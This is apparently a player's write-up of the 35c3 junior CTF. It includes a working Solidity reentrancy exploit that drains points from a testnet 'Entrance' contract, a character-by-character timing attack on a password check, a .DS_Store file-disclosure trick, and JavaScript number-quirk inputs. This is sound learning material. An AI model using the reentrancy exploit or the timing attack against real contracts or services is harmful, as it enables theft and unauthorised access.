Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

35c3 junior CTF writeup


I visited the 35c3 again this year and for the first time decided to participate in the c3 CTF with three friends. We decided that the junior version is better suited for our skill level and managed the be in the top 35 teams. Now that I’m back home and well rested I want to write down some solutions.

Entrance (“Of course”, Ethereum)

In this challenge we are presented with an Ethereum smart contract on the ropsten testnet. Users can register with the contract, get an initial 10 point balance and can call a gambling method.

pragma solidity >=0.4.21 <0.6.0; import "./SafeMath.sol"; contract Entrance { using SafeMath for *; mapping(address => uint256) public balances; mapping(address => bool) public has_played; uint256 pin; event EntranceFlag(string server, string port); modifier legit(uint256 _pin) { if (_pin == pin) _; } modifier onlyNewPlayer { if (has_played[msg.sender] == false) _; } constructor(uint256 _pin) public { pin = _pin; } function enter(uint256 _pin) public legit(_pin) { balances[msg.sender] = 10; has_played[msg.sender] = false; } function balanceOf(address _who) public view returns (uint256 balance) { return balances[_who]; } function gamble() public onlyNewPlayer { require (balances[msg.sender] >= 10); if ((block.number).mod(7) == 0) { balances[msg.sender] = balances[msg.sender].add(10); // Tell the sender he won! msg.sender.call("You won!"); has_played[msg.sender] = true; } else { balances[msg.sender] = balances[msg.sender].sub(10); } } function getFlag(string memory _server, string memory _port) public { require (balances[msg.sender] > 300); emit EntranceFlag(_server, _port); } }

Once we have over 300 points we can request the flag. This requires circumventing multiple guards:

To register with the contract we need to know a pin It is required to have 10 points to participate in the gamble (not a real problem since we get them when registering) The contract remembers who already played and every address is only allowed to participate once We have to actually win the gamble: the block number with our transaction has to be dividable by 7.

The pin was set during the contract creation as a constructor argument an can be seen here as hex and can easily be obtained.

Being able to only participate once seems like a bigger problem at first. The solution lies in the msg.sender.call("You won!"); line: the call() function executes the default function on the sender if one exists. This isn’t the case for a normal address but possibly for a smart contract. If we call Entrance from our own smart contract the code execution is jumping back to our contract during this call and we can execute more code between the balance update and the moment where our address is marked as has_played . In this code we can call the gamble function again and get another 10 points before call() is executed again. The following code exploits this bug until it has enough points to request the flag:

pragma solidity >=0.4.21 <0.6.0; import "./SafeMath.sol"; import "./Entrance.sol"; contract Attack { using SafeMath for *; Entrance victim; uint public counter; event LogFallback(uint count); event LoosingNumber(); function prepare (address v) public { victim = Entrance(v); victim.enter(12341111); // register using the extracted pin } function attack () public { if ((block.number).mod(7) == 0) { // only start the attack if we are in a winning block victim.gamble(); } else { emit LoosingNumber(); } } function flag () public { victim.getFlag("my_host_to_recieve_the_flag", "1337"); } function () payable { counter++; emit LogFallback(counter); if (counter < 30) victim.gamble(); // we have 10 points by default so after 30 runs the balance is 310 > 300 } }

It took a view tries to call the attack() function on a winning block, that’s why I implemented a check before actually entering the gamble.

ultra secret (misc) fn main() { let mut password = String::new(); let mut flag = String::new(); let mut i = 0; let stdin = io::stdin(); let hashes: Vec<String> = BufReader::new(File::open(Path::new("hashes.txt")).unwrap()).lines().map(|x| x.unwrap()).collect(); BufReader::new(File::open(Path::new("flag.txt")).unwrap()).read_to_string(&mut flag).unwrap(); println!("Please enter the very secret password:"); stdin.lock().read_line(&mut password).unwrap(); let password = &password[0..32]; for c in password.chars() { let hash = hash(c); if hash != hashes[i] { exit(1); } i += 1; } println!("{}", &flag) } fn hash(c: char) -> String { let mut hash = String::new(); hash.push(c); for _ in 0..9999 { let mut sha = Sha256::new(); sha.input_str(&hash); hash = sha.result_str(); } hash }

In this challenge the password for a remote service is required. We do have the source code and know how the password is stored internally: each of the 32 characters is independently hashed 10000 times using sha265 and stored in a file. During the validation the input characters are checked sequentially and the program aborts if there is a mismatch. We also know that the password consists of alphanumeric characters.

This allows for timing attacks. Calculating 10k sha256 hashes is a notable timeout, even over a network connection. We start by bruteforcing the first character and choose the one with the slowest response time. We can then continue with the second character.

McDonald (web)

The challenge website has a robots.txt file that hints to a file called /backup/.DS_Store . DS_Store files are used by OS X and contain references to other files in the directory. This library can be used to parse the file and the found path contains the flag

Equality Error (misc)

In this challenge we have to find a value that is numeric but not equal to itself:

(num: number) => num === num ? "EQUALITY WORKS" : flags.EQUALITY_ERROR

I know of one javascript value that fulfills these requirements: NaN , “not a number”, ironically typeof NaN === 'number' . Also NaN !== NaN . While javascript does have the NaN value, wee lang does not directly support this concept so we can’t simply call assert_equals(NaN) but have to find a way to “generate” a NaN. My solution to this was the following request, where I try to calculate the square root of -1:

{ "code": "alert(assert_equals(sqrt(-1)))" } Number Error (misc)

Another challenge that makes use of strange javascript behavior. We need a number that is not infinite, not NaN and must be equal to itself plus one:

(num: number) => !isFinite(num) || isNaN(num) || num !== num + 1 ? "NUMBERS WORK" : flags.NUMBER_ERROR

Number.MAX_VALUE fulfills these requirements but again isn’t a known construct in the wee lang. I got the value of this constant in node.js

> Number.MAX_VALUE 1.7976931348623157e+308

and tried to pass it to assert_number() . Wee does also not accept the e notation for numbers so for a working solution I used the pow() function:

{ "code": "alert(assert_number(pow(1.7976931348623157, 308)))" } Wee R Leet

This challenge requires you to find the /wee/run endpoint, convert a hex number and get a basic grasp of the wee language:

(maybe_leet: number) => maybe_leet !== 0x1337 ? "WEE AIN'T LEET" : flags.WEE_R_LEET

Wee does not accept the 0x notation for hex numbers

{ "code": "alert(assert_leet(4919))" } Conversion Error (misc)

I have to admit I don’t really know why this works, but just sending a string with a lot of 1 does the job:

(str: string) => str.length === +str + "".length || !/^[1-9]+(\.[1-9]+)?$/.test(str) ? "Convert to Pastafarianism" : flags.CONVERSION_ERROR

sometimes trial and error works…

{ "code": "alert(assert_conversion('1111111111111111111111111111111111111111111'))" } Closing remarks

This was my first CTF end I really enjoyed playing, I can only recommend trying it and hope to participate again this year.

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles

Latest Images